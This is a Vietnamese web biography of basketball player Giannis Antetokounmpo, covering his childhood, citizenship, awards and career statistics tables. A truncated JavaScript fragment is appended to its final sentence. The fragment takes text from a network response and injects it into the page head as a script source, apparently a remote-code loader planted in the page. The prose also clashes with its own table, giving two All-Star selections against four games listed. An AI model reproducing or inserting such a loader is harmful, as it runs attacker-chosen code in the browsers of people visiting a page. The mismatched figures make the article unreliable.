Tiểu sử Giannis Antetokounmpo, ngôi sao bóng rổ NBA, đã có một hành trình đầy cảm hứng từ một cậu bé Hy Lạp nghèo khó đến nhà vô địch thế giới. Hãy cùng khám phá câu chuyện thành công đáng nể của anh.
Tiểu sử Giannis Antetokounmpo
Giannis Sina Ugo Antetokounmpo (trước đây là Adetokunbo), sinh ngày 6 tháng 12 năm 1994, là một cầu thủ bóng rổ chuyên nghiệp người Hy Lạp đang thi đấu cho Milwaukee Bucks tại NBA. Anh được biết đến với biệt danh “Greek Freak” nhờ vào quốc tịch, thể hình, tốc độ và kỹ năng chơi bóng. Antetokounmpo được coi là một trong những tiền phong vĩ đại nhất mọi thời đại và là một trong những cầu thủ xuất sắc nhất trong lịch sử NBA.
Sinh ra và lớn lên ở Athens trong một gia đình người Nigeria, Antetokounmpo bắt đầu sự nghiệp bóng rổ của mình tại Filathlitikos ở Athens. Năm 2011, anh gia nhập đội một của câu lạc bộ trước khi được Milwaukee Bucks chọn ở lượt thứ 15 trong NBA Draft 2013.
Mùa giải 2016-17, anh dẫn đầu Bucks ở tất cả các chỉ số chính và trở thành cầu thủ đầu tiên trong lịch sử NBA đứng trong top 20 ở mọi chỉ số chính: điểm số, rebounds, kiến tạo, cướp bóng và block. Anh giành giải Cầu thủ tiến bộ nhất vào năm 2017 và đã hai lần được chọn vào đội hình All-Star, đồng thời là đội trưởng All-Star vào các năm 2019 và 2020.
Antetokounmpo đã giành Giải thưởng Cầu thủ xuất sắc nhất NBA (MVP) liên tiếp vào các năm 2019 và 2020, cùng với Kareem Abdul-Jabbar và LeBron James là những cầu thủ duy nhất trong lịch sử NBA đạt danh hiệu này hai lần trước khi 26 tuổi.
Anh cũng nhận danh hiệu Cầu thủ phòng ngự hay nhất NBA vào năm 2020, trở thành cầu thủ thứ ba sau Michael Jordan và Hakeem Olajuwon giành được hai giải thưởng này trong cùng một mùa.
Năm 2021, Antetokounmpo dẫn dắt Bucks tới chức vô địch NBA đầu tiên kể từ năm 1971 và được vinh danh là Cầu thủ xuất sắc nhất Vòng chung kết (Finals MVP). Anh cũng được chọn vào đội hình kỷ niệm 75 năm của NBA trong cùng năm. Cuộc đời và sự nghiệp của Antetokounmpo đã được chuyển thể thành bộ phim “Rise,” phát hành vào năm 2022.
Thời niên thiếu
Giannis Antetokounmpo, sinh ngày 6 tháng 12 năm 1994 tại Athens, Hy Lạp, là con trai của một đôi vợ chồng nhập cư từ Nigeria. Ba năm trước đó, cha mẹ anh rời Lagos, để lại đứa con trai đầu lòng của họ là Francis dưới sự chăm sóc của ông bà. Giannis lớn lên ở khu vực Sepolia của Athens.
Do cha mẹ không dễ dàng tìm được việc làm, anh và anh trai Thanasis đã giúp đỡ gia đình bằng cách bán đồng hồ, túi xách và kính râm trên đường phố. Anh bắt đầu chơi bóng rổ vào năm 2007.
Mặc dù Giannis và ba trong số bốn anh em trai sinh ra tại Hy Lạp, họ không được cấp quốc tịch Hy Lạp vì luật quốc tịch Hy Lạp dựa trên “luật máu” (jus sanguinis). Trong suốt 18 năm đầu đời, Giannis không có quốc tịch Hy Lạp lẫn Nigeria và không thể xuất ngoại. Anh được công nhận là công dân Hy Lạp vào ngày 9 tháng 5 năm 2013, chỉ hai tháng trước khi NBA Draft 2013 diễn ra.
Sau khi nhận quốc tịch Hy Lạp, họ của anh chính thức là Αντετοκούνμπο, phiên âm tiếng Hy Lạp của tên Adetokunbo, và được chuyển ngữ thành Antetokounmpo trong hộ chiếu Hy Lạp.
Tên Giannis là phiên bản phổ biến của Ioannis (John). Vì nhiều người khó khăn trong việc đánh vần họ của anh, anh nhanh chóng được biết đến với biệt danh “Greek Freak.” Antetokounmpo cũng có quốc tịch Nigeria, nhận hộ chiếu Nigeria từ năm 2015, trở thành công dân đa quốc tịch (Hy Lạp và Nigeria).
Thống kê sự nghiệp
Mùa Giải Chính (Regular Season)
Năm | Đội | GP | GS | MPG | FG% | 3P% | FT% | RPG | APG | SPG | BPG | PPG |
2013-14 | Milwaukee | 77 | 23 | 24.6 | .414 | .347 | .683 | 4.4 | 1.9 | .8 | .8 | 6.8 |
2014-15 | Milwaukee | 81 | 71 | 31.4 | .491 | .159 | .741 | 6.7 | 2.6 | .9 | 1.0 | 12.7 |
2015-16 | Milwaukee | 80 | 79 | 35.3 | .506 | .257 | .724 | 7.7 | 4.3 | 1.2 | 1.4 | 16.9 |
2016-17 | Milwaukee | 80 | 80 | 35.6 | .522 | .272 | .770 | 8.7 | 5.4 | 1.6 | 1.9 | 22.9 |
2017-18 | Milwaukee | 75 | 75 | 36.7 | .529 | .307 | .760 | 10.0 | 4.8 | 1.5 | 1.4 | 26.9 |
2018-19 | Milwaukee | 72 | 72 | 32.8 | .578 | .256 | .729 | 12.5 | 5.9 | 1.3 | 1.5 | 27.7 |
2019-20 | Milwaukee | 63 | 63 | 30.4 | .553 | .304 | .633 | 13.6 | 5.6 | 1.0 | 1.0 | 29.5 |
2020-21† | Milwaukee | 61 | 61 | 33.0 | .569 | .303 | .685 | 11.0 | 5.9 | 1.2 | 1.2 | 28.1 |
Sự nghiệp | 589 | 524 | 32.5 | .532 | .287 | .717 | 9.1 | 4.5 | 1.2 | 1.3 | 20.9 |
All-Star
Năm | GP | GS | MPG | FG% | 3P% | FT% | RPG | APG | SPG | BPG | PPG |
All-Star | 4 | 4 | 26.8 | .653 | .231 | .667 | 8.8 | 3.0 | 1.3 | 1.0 | 27.3 |
Playoffs
Năm | Đội | GP | GS | MPG | FG% | 3P% | FT% | RPG | APG | SPG | BPG | PPG |
2015 | Milwaukee | 6 | 6 | 33.5 | .366 | .000 | .739 | 7.0 | 2.7 | .5 | 1.5 | 11.5 |
2017 | Milwaukee | 6 | 6 | 40.5 | .536 | .400 | .543 | 9.5 | 4.0 | 2.2 | 1.7 | 24.8 |
2018 | Milwaukee | 7 | 7 | 40.0 | .570 | .286 | .691 | 9.6 | 6.3 | 1.4 | .9 | 25.7 |
2019 | Milwaukee | 15 | 15 | 34.3 | .492 | .327 | .637 | 12.3 | 4.9 | 1.1 | 2.0 | 25.5 |
2020 | Milwaukee | 9 | 9 | 30.8 | .559 | .325 | .580 | 13.8 | 5.7 | .7 | .9 | 26.7 |
2021† | Milwaukee | 21 | 21 | 38.1 | .569 | .186 | .587 | 12.8 | 5.1 | 1.0 | 1.2 | 30.2 |
Sự nghiệp | 64 | 64 | 36.2 | .535 | .274 | .613 | 11.6 | 4.9 | 1.1 | 1.4 | 25.9 |
Giannis Antetokounmpo không chỉ là biểu tượng của sự nỗ lực và kiên trì trong thể thao mà còn là nguồn cảm hứng cho nhiều người trên toàn thế giới. Với thành công không ngừng và những cột mốc đáng nhớ trong sự nghiệp, anh đã chứng minh rằng đam mê và quyết tâm có thể chinh phục mọi thử thách. Cuộc đời và sự nghiệp của Giannis Antetokounmpo tiếp tục là một câu chuyện đẹp và đầy ý nghĩa trong làng thể thao.response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});